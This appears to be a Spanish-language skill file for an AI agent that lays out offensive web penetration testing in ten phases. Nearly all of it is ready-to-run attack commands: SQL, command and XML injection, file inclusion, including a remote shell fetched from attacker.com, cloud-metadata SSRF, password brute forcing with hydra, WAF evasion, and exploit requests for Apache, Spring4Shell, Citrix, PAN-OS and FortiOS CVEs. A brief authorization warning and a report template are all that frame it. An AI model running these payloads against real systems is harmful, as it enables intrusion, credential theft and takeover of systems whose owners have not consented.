| name | web-pentest |
| description | Usar esta habilidad SIEMPRE que el usuario quiera realizar pruebas de penetración, auditoría, análisis automático o explotación de vulnerabilidades sobre un portal web, aplicación web, API REST, servicio HTTP/HTTPS, IP o FQDN con el servicio web activo. Activar cuando se mencionen: auditoría web, SQLi, XSS, LFI, RFI, inyección de comandos, traversal de directorios, CSRF, XXE, SSRF, evasión de WAF, omisión de código 403, cabeceras HTTP inseguras, cifrados TLS débiles, smuggling HTTP, proxy abierto, fuerza bruta web, nikto, wapiti, dirb, gobuster, whatweb, CVE web, Apache, Nginx, Citrix, FortiGate, F5, PaperCut, Cisco IOS XE, Spring4Shell, o cualquier técnica ofensiva sobre el protocolo HTTP/HTTPS. También activar cuando el usuario proporcione una IP/FQDN y pida: reconocimiento web, explotar portal, POC web, escanear web, descubrir rutas, buscar secretos, analizar TLS, o auditoría OWASP. Repositorio de referencia: https://github.com/hackingyseguridad/webaudit/
|
Habilidad de Pentesting Web — hackingyseguridad/webaudit
Habilidad de auditoría ofensiva sobre servicios HTTP/HTTPS. Cubre el ciclo completo:
reconocimiento → análisis de tecnologías → escaneo de vulnerabilidades OWASP →
explotación de CVEs → evasión de WAF → generación de evidencias.
⚠️ Uso exclusivo en entornos con autorización expresa por escrito. Hacking ético.
INSTALACIÓN RÁPIDA (Kali Linux)
git clone https://github.com/hackingyseguridad/webaudit.git
cd webaudit
bash instalar.sh
apt install -y davtest dirb dmitry dnsenum dnsmap dnsrecon dnswalk fierce \
golismero lbd nikto nmap sslyze theharvester uniscan wafw00f wapiti \
wget whatweb whois xsser
FASE 1 — Reconocimiento e identificación tecnológica
1.1 Auditoría automática completa (punto de entrada principal)
bash webaudit.sh <IP_o_FQDN>
bash fqdnaudit.sh <dominio.com>
bash explorarweb.sh <URL>
bash desgargarweb.sh <URL>
1.2 Identificación de tecnologías y cabeceras
whatweb http://<IP_o_FQDN>
whatweb -a 3 http://<IP_o_FQDN>
bash httpbasico.sh <IP_o_FQDN>
bash get.sh <URL>
curl -I http://<IP_o_FQDN>
bash metodos.sh <IP_o_FQDN>
curl -X OPTIONS http://<IP_o_FQDN> -v
cat x-cabeceras.txt
1.3 Reconocimiento DNS y OSINT
whois <dominio.com>
dnsenum <dominio.com>
dnsrecon -d <dominio.com>
fierce --domain <dominio.com>
theharvester -d <dominio.com> -b google,bing,linkedin
FASE 2 — Descubrimiento de rutas y secretos
2.1 Enumeración de directorios y ficheros
dirb http://<IP_o_FQDN>
dirb http://<IP_o_FQDN> /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://<IP_o_FQDN> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
feroxbuster -u http://<IP_o_FQDN> -w /usr/share/wordlists/dirb/common.txt
bash buscar.sh <IP_o_FQDN>
2.2 Búsqueda de secretos expuestos
bash secretos.sh <URL>
bash buscasecretos.sh <URL>
bash buscasecretosauto.sh <URL>
curl http://<IP>/.env
curl http://<IP>/config.php
curl http://<IP>/wp-config.php
curl http://<IP>/.git/config
curl http://<IP>/phpinfo.php
curl http://<IP>/backup.zip
2.3 Evasión de código 403 (acceso prohibido)
bash salta403.sh <IP_o_FQDN> <ruta>
curl -H "X-Forwarded-For: 127.0.0.1" http://<IP>/<ruta>
curl -H "X-Original-URL: /<ruta>" http://<IP>/
curl http://<IP>/%2F<ruta>
curl http://<IP>/<ruta>..;/
bash curl403.sh <IP_o_FQDN>
bash curl404.sh <IP_o_FQDN>
bash curl4xx.sh <IP_o_FQDN>
FASE 3 — Análisis de TLS/SSL y cifrados
bash qtls.sh <IP_o_FQDN>
bash qtls2.sh <IP_o_FQDN>
sslyze --regular <IP_o_FQDN>
nmap -p 443 --script ssl-enum-ciphers,ssl-cert,ssl-dh-params <IP_o_FQDN>
Cifrados vulnerables a detectar: SSLv2, SSLv3, TLS 1.0, RC4, DES, 3DES, EXPORT,
NULL ciphers, cifrados sin autenticación (aNULL), claves Diffie-Hellman débiles (<2048 bits).
FASE 4 — Escaneo automático de vulnerabilidades OWASP
4.1 Nikto — escaneo general
nikto -h http://<IP_o_FQDN>
nikto -h https://<IP_o_FQDN> -ssl
nikto -h <IP_o_FQDN> -p 8080,8443,8888
nikto -h http://<IP_o_FQDN> -o nikto_resultado.html -Format htm
4.2 Wapiti — análisis de vulnerabilidades web
wapiti -u http://<IP_o_FQDN> -o wapiti_informe -f html
wapiti -u http://<IP_o_FQDN> -m sql,xss,file,exec,xxe,ssrf
4.3 Uniscan
uniscan -u http://<IP_o_FQDN> -qweds
FASE 5 — Inyecciones (pruebas de concepto OWASP)
5.1 Inyección SQL
bash sqli.sh <URL_con_parametro>
bash sqliauto.sh <URL_con_parametro>
sqlmap -u "http://<IP>/page?id=1" --batch --dbs
sqlmap -u "http://<IP>/page?id=1" --batch --tables -D <base_de_datos>
sqlmap -u "http://<IP>/login" --data="user=admin&pass=1" --batch
curl "http://<IP>/page?id=1'"
curl "http://<IP>/page?id=1 OR 1=1--"
curl "http://<IP>/page?id=1 AND SLEEP(5)--"
5.2 Inclusión de ficheros locales (LFI)
curl "http://<IP>/page?file=../../../../etc/passwd"
curl "http://<IP>/page?file=....//....//....//etc/passwd"
curl "http://<IP>/page?file=php://filter/convert.base64-encode/resource=index.php"
nmap -p 80 --script traversal.nse <IP>
curl "http://<IP>/page?file=/var/log/apache2/access.log"
5.3 Inclusión de ficheros remotos (RFI)
curl "http://<IP>/page?file=http://attacker.com/shell.txt"
curl "http://<IP>/page?file=http://127.0.0.1/admin"
5.4 Inyección de comandos
curl "http://<IP>/page?cmd=id"
curl "http://<IP>/ping?host=127.0.0.1;id"
curl "http://<IP>/ping?host=127.0.0.1|whoami"
curl "http://<IP>/ping?host=127.0.0.1%0aid"
commix --url="http://<IP>/page?cmd=INJECT_HERE"
5.5 Secuencias de comandos en sitios cruzados (XSS)
xsser -u "http://<IP>/page?q=XSS"
xsser --auto -u "http://<IP>/page?q=XSS"
curl "http://<IP>/search?q=<script>alert(1)</script>"
curl "http://<IP>/search?q=<img src=x onerror=alert(1)>"
curl "http://<IP>/search?q=javascript:alert(1)"
5.6 Entidades externas XML (XXE)
curl -X POST http://<IP>/api/xml \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
5.7 Falsificación de peticiones del lado del servidor (SSRF)
curl "http://<IP>/fetch?url=http://127.0.0.1/admin"
curl "http://<IP>/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "http://<IP>/fetch?url=file:///etc/passwd"
FASE 6 — Autenticación y control de acceso
6.1 Fuerza bruta sobre formularios y autenticación básica
bash httpauthbasic.sh <IP_o_FQDN>
bash httpauthcod.sh <IP_o_FQDN>
bash httpsauthcod.sh <IP_o_FQDN>
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
<IP> http-post-form "/login:user=^USER^&pass=^PASS^:F=Incorrecto"
hydra -L users.txt -P claves.txt http-get://<IP>/admin
nmap -p 80 --script http-brute --script-args \
"http-brute.path=/admin" <IP>
nmap -p 80 --script htpasswd.nse <IP>
6.2 Acceso al panel phpMyAdmin
nmap -p 80,443 --script phpadmin.nse <IP>
6.3 Proxy abierto y encadenamiento
bash openproxy.sh <IP>
bash proxy.sh <IP>
curl -x http://<IP>:8080 http://destino_interno/admin
FASE 7 — Contrabando de peticiones HTTP (HTTP Smuggling)
bash smugg.sh <IP_o_FQDN>
python3 smuggler.py -u http://<IP>/
curl -X POST http://<IP>/ \
-H "Content-Length: 13" \
-H "Transfer-Encoding: chunked" \
-d "0\r\n\r\nSMUGGLED"
FASE 8 — Evasión de WAF
wafw00f http://<IP_o_FQDN>
nmap -p 80,443 --script http-waf-detect,http-waf-fingerprint <IP>
bash wafbypass.sh <IP_o_FQDN>
bash wafbypass2.sh <IP_o_FQDN>
python3 wafbypass.py <URL>
curl "http://<IP>/page?id=1%20OR%201%3D1"
curl "http://<IP>/page?id=1 UnIoN SeLeCt 1,2,3--"
curl "http://<IP>/page?id=1 UN/**/ION SE/**/LECT 1,2,3--"
curl "http://<IP>/search?q=<script>alert(1)</script>"
FASE 9 — Explotación de CVEs web
Tabla de decisión rápida
| Tecnología detectada | CVE prioritario | Gravedad | Script disponible |
|---|
| Apache 2.4.49-2.4.50 | CVE-2021-41773 (RCE/LFI) | CRÍTICO 9.8 | CVE-2021-41773.nse |
| Spring Framework < 5.3.18 | CVE-2022-22965 (Spring4Shell) | CRÍTICO 9.8 | CVE-2022-22965.nse |
| Citrix ADC/Gateway | CVE-2019-19781 (RCE) | CRÍTICO 9.8 | CVE-2019-19781.nse |
| PaperCut MF/NG | CVE-2023-27350 (RCE sin auth) | CRÍTICO 9.8 | CVE-2023-27350.nse |
| Cisco IOS XE Web UI | CVE-2023-20198 (privesc) | CRÍTICO 10.0 | CVE-2023-20198.nse |
| PAN-OS GlobalProtect | CVE-2024-3400 (inyección comandos) | CRÍTICO 10.0 | CVE-2024-3400.nse |
| Fortinet FortiOS | CVE-2022-40684 (omisión auth) | CRÍTICO 9.8 | cve-2022-40684.nse |
| Fortinet FortiNAC | CVE-2022-39952 (escritura ficheros) | CRÍTICO 9.8 | CVE-2022-39952.nse |
| Apache mod_proxy | CVE-2022-31813 (evasión cabeceras) | ALTO 7.5 | CVE-2022-31813.sh |
| Juniper J-Web | CVE-2023-36845 (RCE sin auth) | CRÍTICO 9.8 | CVE-2023-36845.nse |
| Backup Migrate (WP) | CVE-2023-6553 (RCE) | CRÍTICO 9.8 | CVE-2023-6553.nse |
| F5 BIG-IP | CVE local | ALTO | f5.nse |
| NetScaler/Citrix ADC | CVE local | CRÍTICO | netscaler.nse |
CVE-2021-41773 — Apache Path Traversal / RCE (CRÍTICO 9.8)
Afecta: Apache HTTP Server 2.4.49 – 2.4.50
nmap -p 80,443 --script CVE-2021-41773.nse <IP>
curl "http://<IP>/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
curl -X POST "http://<IP>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
--data "echo Content-Type: text/plain; echo; id"
CVE-2022-22965 — Spring4Shell (CRÍTICO 9.8)
Afecta: Spring Framework < 5.3.18 / < 5.2.20 con JDK >= 9
nmap -p 8080 --script CVE-2022-22965.nse <IP>
curl -X POST "http://<IP>/vulnerable" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B..."
CVE-2019-19781 — Citrix ADC / Gateway RCE (CRÍTICO 9.8)
Afecta: Citrix ADC y Citrix Gateway
nmap -p 443 --script CVE-2019-19781.nse <IP>
curl https://<IP>/vpn/../vpns/cfg/smb.conf --path-as-is -k
CVE-2023-27350 — PaperCut RCE sin autenticación (CRÍTICO 9.8)
Afecta: PaperCut MF/NG < 22.0.9
nmap -p 9191,9192 --script CVE-2023-27350.nse <IP>
CVE-2023-20198 — Cisco IOS XE Web UI (CRÍTICO 10.0)
Afecta: Cisco IOS XE con interfaz web habilitada
nmap -p 80,443 --script CVE-2023-20198.nse <IP>
curl -k https://<IP>/webui/logoutconfirm.html?logon_hash=1
CVE-2024-3400 — PAN-OS GlobalProtect Inyección (CRÍTICO 10.0)
Afecta: PAN-OS < 11.1.2-h3 / < 11.0.4-h1 / < 10.2.9-h1
nmap -p 443 --script CVE-2024-3400.nse <IP>
curl -X POST "https://<IP>/ssl-vpn/hipreport.esp" \
-H "Cookie: SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/css/poc.txt" \
--data "$(cat /etc/passwd)" -k
CVE-2022-40684 — FortiOS Omisión de autenticación (CRÍTICO 9.8)
Afecta: FortiOS 7.0.0-7.0.6, FortiOS 7.2.0-7.2.1
nmap -p 443 --script cve-2022-40684.nse <IP>
bash cve-40684-2022.sh <IP>
curl -k -X GET https://<IP>/api/v2/cmdb/system/admin/admin \
-H "User-Agent: Report Runner" \
-H "Forwarded: for=127.0.0.1;by=127.0.0.1;host=<IP>"
CVE-2022-39952 — FortiNAC Escritura de ficheros arbitrarios (CRÍTICO 9.8)
Afecta: FortiNAC < 9.4.1
nmap -p 443 --script CVE-2022-39952.nse <IP>
CVE-2023-36845 — Juniper J-Web RCE sin autenticación (CRÍTICO 9.8)
Afecta: Juniper Junos OS con J-Web habilitado
nmap -p 80,443 --script CVE-2023-36845.nse <IP>
CVE-2023-6553 — Backup Migrate WordPress RCE (CRÍTICO 9.8)
Afecta: Plugin Backup Migration para WordPress < 1.3.8
nmap -p 80,443 --script CVE-2023-6553.nse <IP>
Apache apachebleed / fuga de información
bash apachebleed.sh <IP>
Scripts NSE adicionales del repositorio
nmap -p 443 --script netscaler.nse <IP>
nmap -p 443 --script citrix.nse <IP>
nmap -p 443 --script f5.nse <IP>
nmap -p 80,443 --script phpadmin.nse <IP>
nmap -p 80 --script htpasswd.nse <IP>
nmap -p 80,443 --script traversal.nse <IP>
cat scriptsnmapnse.md
FASE 10 — Prueba de concepto en localhost y servicios internos
bash localhost.sh <IP>
bash pruebas.sh <IP_o_FQDN>
PLANTILLA DE HALLAZGO WEB PARA INFORME
HALLAZGO: [Nombre del CVE / Categoría OWASP]
Servicio: HTTP/HTTPS — [servidor y versión]
IP/FQDN: [objetivo]
Puerto: 80 / 443 (o personalizado)
CVSS v3.1: [puntuación] ([Crítico/Alto/Medio/Bajo])
Vector: [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H]
CWE: [CWE-nnn — Descripción]
DESCRIPCIÓN:
[Descripción técnica de la vulnerabilidad detectada]
PRUEBA DE CONCEPTO / EVIDENCIA:
$ [comando ejecutado]
[salida recortada]
IMPACTO:
[Ejecución remota / Escalada de privilegios / Fuga de información /
Omisión de autenticación / Denegación de servicio / Toma de control]
REMEDIACIÓN:
- Actualizar [producto] a la versión >= [versión parcheada]
- [Configuración de bastionado recomendada]
- [Cabeceras de seguridad ausentes a añadir]
REFERENCIAS:
- https://nvd.nist.gov/vuln/detail/[CVE]
- https://owasp.org/www-project-top-ten/
- https://github.com/hackingyseguridad/webaudit/
CABECERAS DE SEGURIDAD HTTP — VERIFICACIÓN
curl -I http://<IP> 2>/dev/null | grep -iE \
"strict-transport|content-security|x-frame|x-content-type|referrer-policy|permissions-policy"
REFERENCIAS